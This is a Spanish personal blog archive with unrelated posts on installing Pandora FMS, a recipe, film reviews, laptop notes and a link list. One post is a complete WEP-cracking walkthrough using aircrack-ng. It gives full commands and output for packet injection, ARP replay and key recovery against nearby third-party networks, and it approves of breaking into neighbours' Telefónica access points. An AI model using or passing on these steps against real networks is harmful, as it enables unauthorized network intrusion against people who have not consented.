Vaya por delante que yo nunca he pensado que instalar y/o configurar Nagios sea algo complicado. Pero es que instalar Pandora FMS y crear un primer mapa de los elementos de tu red (que es lo que veremos hoy aquí) es tan fácil como comerse un bizcocho. No existen extrañas dependencias, no hay nada que compilar, ni arcanos ficheros que editar. La instalación de Pandora FMS es más fácil aún que la de wordpress, drupal o la de cualquier otro CMS vulgarote. Una verdadera gozada. Ya no hay excusa válida para no monitorzar el estado de tu red y de sus elementos de forma centralizada.

Pandora FMS está formado por tres componentes: servidor, consola y agente. A grandes rasgos, los servidores son las máquinas desde las que se lanzan los diferentes tests, la consola la que contiene la instancia de Apache a la que nos conectamos para administrar, configurar y monitorizar el conjunto y los agentes serían las máquinas a monitorizar. Una instalación típica de Pandora FMS tendrá una consola, uno o más servidores y tantos agentes (en máquinas windows o GNU/Linux) como deseemos. Para este ejemplo partiremos de una instalación limpia de Debian Lenny 5.0.5 eligiendo sólo los paquetes standard mínimos. Sobre esta máquina instalaremos el servidor, la consola y un primer agente.

Lo primero que debemos hacer es instalar las dependencias previas. Se trata, en su práctica totalidad, de paquetes estándar y disponibles en los repositorios stable de Debian. En la wiki del proyecto (con muy buena documentación, por cierto) hay un apartado dedicado a esto pero a mi me han faltado algunos. La lista que yo he necesitado es la siguiente:

# apt-get install snmp snmpd sudo xprobe2 nmap traceroute mysql-server mysql-client dbconfig-common apache2 php5 libapache2-mod-php5 php5-gd php5-mysql php-pear php5-snmp php-db php-gettext php-db php5-xmlrpc php5-ldap libtime-format-perl libxml-simple-perl libnetaddr-ip-perl libdbi-perl libhtml-parser-perl libmail-sendmail-perl libio-socket-multicast-perl libhtml-tree-perl hp-gettext graphviz

En segundo lugar, nos descargamos e instalamos las herramientas y dependencias que Debian no ofrece como paquetes estándar de las páginas del proyecto en Sourceforge.

Tercero: nos bajamos, también de Sourceforge, los paquetes de los tres componentes de Pandora FMS (consola, servidor y agente) y los instalamos igualmente. El paquete del agente que está disponible ahora mismo da un error de instalación que se soluciona siguiendo las indicaciones de este foro.

Se acabó la línea de comandos. Puesto que en la máquina en la que estamos haciendo la instalación no hemos instalado siquiera las X, nos vamos a nuestra máquina de escritorio, abrimos un navegador y cargamos la siguiente URL para iniciar la configuración:

http://<ip o nombre de la maquina>/pandora_console/install.php

La configuración se hace a través de seis sencillos pasos que podeis ver en las diapos de aquí abajo. Aceptamos la licencia, verificamos que todas las dependencias se han instalado correctamente, aceptamos los datos relativos a la base de datos y la instancia web y cumplimentamos los datos de un usuario con privilegios para crear la nueva base de datos y, muy importante, anotamos la contraseña aleatoria que nos muestra en la pantalla número 5.

• pandorafms01

  http://blog.unlugarenelmundo.es/wp-content/uploads/2010/08/pandorafms01.jpeg
  la

• pandorafms02

  http://blog.unlugarenelmundo.es/wp-content/uploads/2010/08/pandorafms02.jpeg
  la

• pandorafms03

  http://blog.unlugarenelmundo.es/wp-content/uploads/2010/08/pandorafms03.jpeg
  la

• pandorafms04

  http://blog.unlugarenelmundo.es/wp-content/uploads/2010/08/pandorafms04.jpeg
  la

• pandorafms05

  http://blog.unlugarenelmundo.es/wp-content/uploads/2010/08/pandorafms05.jpeg
  la

• pandorafms06

  http://blog.unlugarenelmundo.es/wp-content/uploads/2010/08/pandorafms06.jpeg
  la

Antes de entrar por primera vez en la consóla debemos de proporcionar al servidor la contraseña que se nos ha facilitado durante la instalación. Para ello editamos el fichero /etc/pandora/pandora_server.conf y localizamos en él el parámetro dbpass:

dbpass ghqshtvw

Finalmente relanzamos el proceso del servidor (que debe de haber abortado tras la instalación debido a la ausencia de esta contraseña):

# /etc/init.d/pandora_server start /etc/pandora/pandora_server.conf

Y esto es todo. Si ha habido algún problema debería de haber quedado reflejado en los archivos de log que se encuentran en el directorio /var/log/pandora. Si todo ha salido bien podemos ir a nuestra máquina de escritorio y entrar en la consola a través de la siguiente URL. El usuario creado inicialmente de forma automática es admin y la contraseña pandora:

http://<ip o nombre de la maquina>/pandora_console/

La pantalla inicial que se nos presenta tiene el aspecto de la imagen de aquí abajo (pulsa sobre ella para ampliarla). En la wiki de documentación del proyecto tienes una buena descripción de cada uno de sus apartados:

Y vamos a terminar por hoy diciendole a Pandora que lance una tarea de reconocimiento para que veamos cuan fácil es crear un mapa de nuestra red. Para ello, y dentro del menú lateral de administración, desplegamos la opción de “Gestionar servidores” y pulsamos sobre “Gestionar tarea recon”. Pulsamos el botón de Crear y cumplimentamos la ficha con los datos de nuestra red:

Ya experimentaremos más adelante con los campos de plantillas, puertos, etc. Por el momento sólo pondremos un nombre a la tarea, cumplimentaremos correctamente el “scope” de nuestra red y pulsaremos el botón de Añadir. La tarea se creará y se lanzará de forma automática. Si queremos ver el avance de la exploración vamos al menú lateral de operaciones, desplegamos la opción de “Servidores” y pulsamos sobre el nombre de nuestro servidor para que nos muestre las tarea que está ejecutando en este momento y el progreso de las mismas:

Al terminar la exploración desplegamos la opción de “Ver agentes” (también en el menú de operación) y elegimos “Mapa de red”. Et voilà:

Pulsando sobre cualquiera de los dispositivos mostrados en el mapa obtendremos una ventana de detalle como la siguiente:

Y por el momento basta. Otro día seguimos con ella.

• 300 grs. aprox. de filetes de pechuga de pollo.
• 2 dientes de ajo.
• 2 cucharadas de tomillo.
• 2 cucharadas de piñones.
• Perejil fresco.
• Queso de roquefort.
• Medio limón.
• Aceite de oliva, sal y pimienta negra molida.

La pechuga de pollo debe de estar fileteada muy fina y la cortamos en tiras de aproximadamente tres o cuatro dedos de ancho (o el ancho que queramos darle a nuestros rollitos). Para el relleno tostamos los piñones y los picamos en la batidora junto con el tomillo, un puñado de perejil fresco, los dos dientes de ajo, sal, pimienta negra molida y el zumo de medio limón (con cuidado de no echar los huesos de este en la mezcla).

Una vez bien picado el relleno tendrá la textura de un paté. Extendemos bien las tiras de pechuga y las cubrimos con él. Añadimos el queso de roquefort desmenuzado en pequeños trocitos y enrollamos con cuidado la pechuga hasta formar rollitos. Normalmente no hace falta cerrarlos con palillos pero podemos hacerlo si nos apetece.

Precalentamos el horno a 170 grados, colocamos los rollitos en una bandeja de hornear, los espolvoreamos ligeramente con tomillo y perejil, los bañamos con un chorrito de aceite de oliva y los metemos en el horno. Los volteamos de vez en cuando y, cuando estén doraditos, los sacamos y los servimos junto con una ensalada a nuestro gusto (en la foto con queso de cabra y nueces).

Mr. Nobody (2009), con el permiso de lo del señor Goldman, es lo mejor que he visto este mes y, posiblemente, en lo que va de año. Tiene mucho de “Amelie” y de “Eternal Sunshine of the spotless mind”, algo de “los amantes del circulo polar” y, casi todo el rato, estética de anuncio de IKEA. Pero la historia es atrevida y optimista y lo que cuenta original e impactante. Yo he ido a verla dos veces a sala y al precio que está el cine ya ni recuerdo de cuando fue la última vez que hice algo así… Así que no sean bobos y no se la pierdan que ya saben que estas cintas pasan sin pena ni gloria y no llegan ni al videoclub a menos que alguien se equivoque, le den un oscar y la reestrenen con fanfarrias y tamboriles la primavera que viene.

Lo del señor Goldman que os decía es Dos hombres y un destino (Butch Cassidy and the Sundance Kid, 1969) que he vuelto a ver (y a disfrutar) por enésima vez. Había escuchado por ahí en algún sitio que la historia escondía una posible relación homosexual entre Butch y Sundance pero he de decir que al menos yo no la veo por ningún lado. Si alguien tiene pistas de ello me las cuente, please.

El erizo (the hedgehog, 2009) es una historia entretenida y con personajes muy bien definidos. Me encanta el papel de Paloma, la niña, y me parece absolutamente increible la relación entre el vecino japonés guapetón y rico y la portera (que por muy cultivada que esté no deja de tener aspecto de portera y una frase de Tolstoi no hace milagros), pero la película es amena y está bien contada. Aunque me lo han recomendado no he leído el libro porque me niego a pagar 15 euros por 300 páginas en tapa blanda por mucho que use dos grafías diferentes en la composición (que para robarnos ya están los bancos y estas cosas ya no hay que componerlas a mano, joder) así que no puedo hacer comparaciones.

Gracias por fumar (2005) es una ácida y divertida comedia acerca del clima de prohibicionismo imperante en el occidente que nos ha tocado vivir. Hay que verla.

Algunos hombres buenos (1992) es de esas películas que puedes ver una y otra vez los sábados a mediodía sin aburrirte pero también sin encontrarle nada que te impida cerrar los ojos a ratos y luego seguir la trama sin temor a perderte nada. En ese aspecto cumple una función social inestimable. Push (2009) es un intento fallido de hacer una peli de mutantes con un planteamiento que a ratos (pocos) es interesante. y el jefe de todo esto (2006) es lo que menos me ha gustado de Lars von Trier. Se ve que a este hombre la comedia no le va.

En la categoría de grandes decepciones de este mes tenemos a las dos primeras pelis de la trilogía Millenium (los hombres que no amaban a las mujeres y la chica que soñaba con una cerilla y un bidón de gasolina, ambas de 2009). Puedo entender (aunque sólo en parte) que los suecos quieran aprovechar el tirón de los libros (que tampoco comprendo del todo) y se lancen a hacer pelis como si fuesen rosquillas, pero creo que los amantes de la serie negra no nos merecemos este trato, la verdad. La clave de este tipo de cosas me la dió una conversación que escuché estas navidades. Una señora le decía a su hija frente a una estantería de la FNAC: “los quiero los tres”, señalando la trilogía de Millenium. No pude evitarlo y le pregunté que si se había leído alguno y, al responderme que no, le dije que si no era mejor leerse el primero antes de comprar los otros dos. “Se que me van a gustar”, dijo muy convencida. Y eso que difícilmente ha podido leer antes ninguna otra cosa de Larsson. Pues eso.

Y el premio al pestiño del mes se lo lleva Siete almas (2008). Empalagosa, predecible y gracias a su “esforzada” interpretación Will Smith entra por derecho propio en ese nutrido panteón hollywoodense de los-que-siempre-ponen-la-misma-cara-para-todo-hagan-lo-que-hagan. Si no fuese porque Rosario Dawson es absolutamente sexy por cualquier lado que se la mire no habría aguantado más de siete minutos de película

La única parte complicada de todo lo que vamos a contar a continuación es disponer de una tarjeta de red con los drivers oportunos para nuestra tarea. La tarjeta (el hardware) no merece darle muchas vueltas. Si la que tenemos sirve, pues estupendo. Si no, tendremos que comprar una adecuada. Los drivers se pueden compilar para cualquier distribución de Linux, pero no merece la pena hacerlo: yo tengo instalado Backtrack en una pequeña partición de 15 Gbytes de mi portatil para estos menesteres y si a ti no te sobra siquiera ese espacio puedes usar una versión live de esta distribución en una memoria USB. Si estás curtido en este mundo y prefieres compilar los drivers tu mismo para tu distribución habitual, adelante. En este último caso disponer de la suite aircrack-ng no te será complicado. Para todo el proceso necesitaremos al menos tres terminales de forma simultanea pero es indistinto que lo hagamos mediante un entorno gráfico (startx) o usando terminales virruales (Ctrl+Alt+Fn).

Y empezamos con los preliminares. Hemos arrancado ya con nuestra backtrack y vamos a comprobar que nuestra tarjeta es compatible con los drivers de madwifi y, en caso afirmativo, a inicializarla. Para ello usamos el comando iwconfig para ver que tarjeta tiene extensiones inalámbricas e ifconfig para averiguar la MAC (Hwaddr) de la misma:

root@bt:~# iwconfig
lo no wireless extensions.

eth0 no wireless extensions.

wlan0 IEEE 802.11bgn Mode:Managed Access Point: Not-Associated
Tx-Power=20 dBm
Retry long limit:7 RTS thr:off Fragment thr:off
Encryption key:off
Power Management:off

root@bt:~# ifconfig wlan0
wlan0 Link encap:Ethernet HWaddr 1c:4b:d6:a3:52:2a
UP BROADCAST MULTICAST MTU:1500 Metric:1
RX packets:0 errors:0 dropped:0 overruns:0 frame:0
TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:0 (0.0 B) TX bytes:0 (0.0 B)

En el volcado anterior vemos que la denominación de nuestra tarjeta es wlan0 y que su dirección MAC es la 1c:4b:d6:a3:52:2a. Bien. Ahora incializaremos en modo monitor nuestra tarjeta:

root@bt:~# airmon-ng stop wlan0

Interface Chipset Driver
wlan0 Atheros ath9k - [phy0]
(monitor mode disabled)

root@bt:~# airmon-ng start wlan0

Interface Chipset Driver
wlan0 Atheros ath9k - [phy0]
(monitor mode enabled on mon0)

Y ahora comprobaremos que es apta para nuestro trabajo. En la última línea del comando anterior la suite de aircrack nos ha devuelto el identificador correspondiente a nuestro adaptador inalámbrico en modo monitor que es el que usaremos a partir de ahora. El siguiente comando nos dirá si dicho dispositivo es capaz de inyectar paquetes en una red wifi y hará una prueba de dicha “habilidad” con tres de los dispositivos que sea capaz de detectar:

root@bt:~# aireplay-ng --test mon0
14:20:50 Trying broadcast probe requests...
14:20:50 Injection is working!
14:20:52 Found 3 APs

14:20:52 Trying directed probe requests...
14:20:52 00:03:C9:8D:0C:04 - channel: 1 - 'La cueva de Moratalaz'
14:20:52 Ping (min/avg/max):
1.644ms/3.040ms/6.560ms Power: -28.13
14:20:52 30/30: 100%

14:20:52 00:1F:5B:89:4B:BE - channel: 2 - 'Apple Network'
14:20:53 Ping (min/avg/max): 2.183ms/22.288ms/87.101ms Power: -75.30
14:20:53 30/30: 100%

14:20:53 00:1F:E1:2A:79:74 - channel: 1 - 'Livebox-DBB0'
14:20:58 Ping (min/avg/max): 2.218ms/3.187ms/4.387ms Power: -90.40
14:20:58 5/30: 16%

Y hasta aquí los preliminares. Si la prueba anterior ha fallado no tenemos nada que hacer y tendríamos que revisar que falla de lo expuesto hasta el momento. Vamos ahora a elegir nuestro “objetivo”. Para ello usaremos el siguiente comando;

root@bt:~# airodump-ng mon0

Como salida tendremos una pantalla con las redes detectadas por nuestro adaptador y diferentes medidas sobre la calidad de la señal que nos llega, actividad en la misma, cifrado, etc. Veamos un pantallazo (click para ampliarlo):

¿En que deberíamos de fijarnos a la hora de elegir objetivo? Por supuesto en el cifrado (WEP en la columna AUTH) y en la proximidad de la señal (identificada con un número en decibelios bajo la columna PWR). Además necesitaremos el BSSID del punto de acceso (su MAC), el canal en el que opera (columna CH) y el identificador de la red (columna ESSID). Pulsando Ctrl+C cuando tenemos datos suficientes la ejecución se aborta y podremos copiar estos datos con tranquilidad. La columna #Data es particularmente importante porque no podremos meternos en una red que no tiene actividad, así que es vano tratar de introducirnos en una con esta columna a cero. En este caso habrá que esperar a que el dueño la use. Explicaremos más adelante el motivo.

El siguiente paso es “capturar” los paquetes de identificación de la red elegida y guardarlos en un fichero. Si hemos elegido la red identificada como DJC de la captura anterior el comando sería el siguiente:

root@bt:~# airodump-ng -c 3 -w djc --bssid 00:13:f7:df:a4:0d mon0

Donde idicamos el canal (3), la raíz de los ficheros donde se guardarán las capturas (djc) y la MAC del objetivo (00:13:f7:df:a4:0d). La salida debería de ser algo así:

La columna más importante aquí es la etiquetada como #Data que nos muestra el número de paquetes IVs capturados. La captura de aquí arriba corresponde a una ejecución de siete minutos (excesiva para lo que necesitamos) pero al principio veremos de forma decepcionante como avanza de forma muy, muy lenta. Máxime considerando que necesitaremos entre 5.000 y 10.000 paquetes para acceder a la contraseña. Ahora veremos como hacerla correr…

Dejamos el anterior comando en ejecución y abrimos un nuevo terminal desde el que asociaremos nuestro adaptador inalámbrico al punto de acceso objetivo con la siguiente orden:

root@bt:~# aireplay-ng -1 0 -a 00:13:f7:df:a4:0d -h 1c:4b:d6:a3:52:2a -e DJC mon0

La primera MAC (00:13:f7:df:a4:0d) es la de nuestro objetivo y la segunda (1c:4b:d6:a3:52:2a) la del adaptador que estamos usando para conectarnos a ella. El identificador de la red objetivo sigue siendo DJC. En este punto podría ocurrir que no consiguieramos realizar la asociación. Esto es debido normalmente a que el punto de acceso está filtrando por MAC o a que estamos demasiado lejos del mismo. Lo primero tiene solución, pero ya lo veremos en otro artículo que este ya está quedando demasiado tocho. Una vez hecha la asociación pasamos a hacer crecer ese número de paquetes IVs que necesitamos para romper la contraseña. ¿Cómo? Pues aprovechando que los paquetes ARP se envían en modo broadcast y contienen un IV (vector de inicialización) que es lo que necesitamos. Pondremos a nuestro adaptador a escuchar y esperar este tipo de paquetes y a reinyectarlos en la red para acelerar el proceso de forma que en apenas un par de minutos tendremos varios miles de estos. El comando a continuación:

root@bt:~# aireplay-ng -3 -b 00:13:f7:df:a4:0d -h 1c:4b:d6:a3:52:2a mon0

La primera MAC sigue siendo la del punto de acceso y la segunda la de nuestro adaptador. El resultado de la ejecución de los dos últimos comandos aquí:

Si todo sale bien veremos como el número de paquetes IV capturados empieza a desbordarse. Si después de 500 ARP request no hemos conseguido este efecto cancela el comando y vuelve a ejecutar los dos últimos (el de asociación de la tarjeta y este). Después de tres o cuatro intentos, a lo sumo, conseguiremos el efecto deseado.

Vamos ahora con el paso final. Abrimos un tercer terminal y ejecutamos lo siguiente:

root@bt:~# aircrack-ng -b 00:13:f7:df:a4:0d djc-01.cap

Esto lanzará el ataque para descifrar la contraseña de la red identificada por la MAC 00:13:f7:df:a4:0d a partir de los paquetes capturados y almacenados en el fichero djc-01.cap (recuerda que la raiz djc la introdujimos nosotros). Si aircrack no tiene suficiente información para romper la clave quedará en espera de algunos centenares más y se relanzará de forma automática. Si no hay problemas enseguida nos responderá con algo así donde la clave que necesitamos es la que aparece al final y etiquetada como ASCII:

No os asusteis por la extensión del texto. He querido que sea fácilmente entendible y reproducible por casi cualquiera y por eso he metido más literatura de la cuenta, pero una vez que hayas practicado un par de veces podrás completar todo el proceso en apenas un par de minutos. Y démosle gracias a Telefónica por seguir instalando sus puntos de acceso usando WEP

Los posibles candidatos han sido tres: el Dell Vostro V13, el Acer Aspire TimeLine 3810 y el Asus UL30A. Después de leer el título aquí arriba a nadie se le escapará ya que este último ha sido el elegido, pero engañaría también si no dijese que el hecho de que lo tenían en stock en la FNAC y que quería disponer de él ese mismo día influyó bastante en la decisión final.

Aún no llevo una semana con él pero por el momento estoy encantado. Mi pequeña báscula electrónica me dice que pesa 100 grs. más de lo que cuenta el fabricante (1,8 kilos) pero la autonomía supera las 10 horas permanentemente conectado a Internet vía wifi, a pleno rendimiento (ya sabéis como son los primeros días de un portatil: instalaciones, continuos rearranques, etc.) y sin ninguna optimización por software. La batería es de 8 celdas, pero está claro que los nuevos Procesadores Intel Core 2 Duo SU de bajo consumo hacen bien su trabajo. El teclado y el touchpad son muy cómodos y de tacto agradable, apenas se calienta y es silencioso como un ninja muerto. El cargador es pequeño y ligero y viene acompañado de una unidad grabadora de CD y DVD externa alimentada a través del puerto USB. Lo único manifiestamente mejorable es la pantalla que aunque presenta una nitidez y resolución realmente buenas tiene demasiados reflejos para trabajar con comodidad al aire libre sin estar reorientándola continuamente.

En cuanto a software, le he instalado un triple arranque con Fedora 13 (versión KDE), Ubuntu 10.4 (con Gnome) y Backtrack 4 final. Disponer de un disco duro en condiciones es otra de las cosas que echaba de menos para poder hacer estas cosas. Todas ellas han funcionado perfectamente con una instalación por defecto y sin tocar absolutamente nada. La instalación de Fedora la he hecho desde una memoria USB. La de Ubuntu y Backtrack usando el CD externo. Aunque en la pantalla inicial no aparece información de ello la tecla F2 nos da entrada a la configuración de la BIOS y la de Escape nos permite seleccionar un arranque alternativo. Por el momento, la única molestia apreciable es que el control de brillo de la pantalla no funciona de forma totalmente correcta con ninguno de los tres, ni mediante las teclas de función ni mediante software. No he probado aún la salida por HDMI, el lector de tarjetas ni el micrófono integrado.

ACTUALIZACIÓN: Se me olvidó comentar que la placa base soporta Express Gate, una utilidad para arrancar una distribución mínima de Linux basada en Splashtop con una tecla rápida y proporcionando de forma casi instantanea de conexión a wifi, un navegador web, skype, un programa de mensajería, un navegador de fotos y archivos y alguna cosilla más.

En Fedora 13 la solución pasa por los siguientes dos pasos. En primer lugar tenemos que crear un fichero llamado 50-synaptics.conf y copiarlo dentro del directorio /etc/X11/xorg.conf.d/ El contenido del fichero debe de ser este:

Section "InputClass"
Identifier "touchpad catchall"
MatchIsTouchpad "on"
Option "TapButton1" "1"
EndSection

Con esto debería de bastar para que las X reconocieran todas las funcionalidades del touchpad pero al menos con KDE no es suficiente (ignoro si con otros gestores de ventana lo hace). En el login manager (kdm) el doble click funciona pero una vez que el entorno gráfico arranca no. La solución pasa por crear un script y ejecutarlo automáticamente en el inicio de sesión. El contenido del script ha de ser sólo esto:

synclient TapButton1=1

• Analizando capturas con Xplico. Alfon, referencia obligada para quien quiera aprender a manejarse con el wireshark, nos explica ahora como sacarle partido a Xplico, una herramienta de interpretación de capturas de tráfico de red. La segunda entrega de la serie aquí.
• Software libre para testing. Por unas causas o por otras la fase de pruebas es, a menudo, la gran olvidada dentro del ciclo de vida del desarrollo. Si eres de los que lo hacen bien (o de los que le permiten hacerlo bien) y pruebas tu software, échale un vistazo a esta colección de herramientas perfectamente categorizadas: funcionales, de prestaciones, etc.
• KDE PIM, la versión para dispositivos móviles de KDE ya tiene un primer prototipo que puede verse funcionando en este vídeo sobre un Nokia N900 y con el ahora extinto Maemo. Por cierto, llevo ya una semanas probando la versión para Netbook y salvando que el arranque es más lento y la batería sufre más que con otras opciones, el resultado es bastante bueno. Ya os contaré…
• Clases de Metasploit en vídeo. Algo más de seis horas grabadas durante unas jornadas de aprendizaje exhaustivo con esta herramienta. Visto en Security by Default
• ACL en GNU/Linux. ¿Listas de control de acceso en Linux? Confieso que ni sabía que estaban disponibles… La segunda entrega aquí.
• Creación de una máquina virtual en Amazon EC2. Sencillo paso a paso para quien quiera probar uno de los mejores servicio de hosting para grandes aplicaciones del momento. Y para continuar la lectura tienes el post en el que, hace ya tiempo, Ricardo Galli nos cuenta la migración de Menéame a este servicio.
• The Linux Command Line. No es precisamente una buena lectura para la piscina, pero si quieres perfeccionar tu manejo de la línea de comandos o iniciarte con ella, seguro que puedes sacarle partido a esta edición ampliada y ordenada de la web linuxcommand.org

En cualquiera de ambos casos, la próxima vez que entres a Spotify desde Linux la conexión estará activa aunque la publicación automática de enlaces en twitter o facebook no funcionará correctamente. Para publicar un enlace tendrás que copiarlo en el portapapeles de foma manual (pulsa con el botón derecho sobre el album, autor o tema que te interesa y elige copiar vínculo HTTP) y luego pegarlo en facebook, twitter o donde te interese.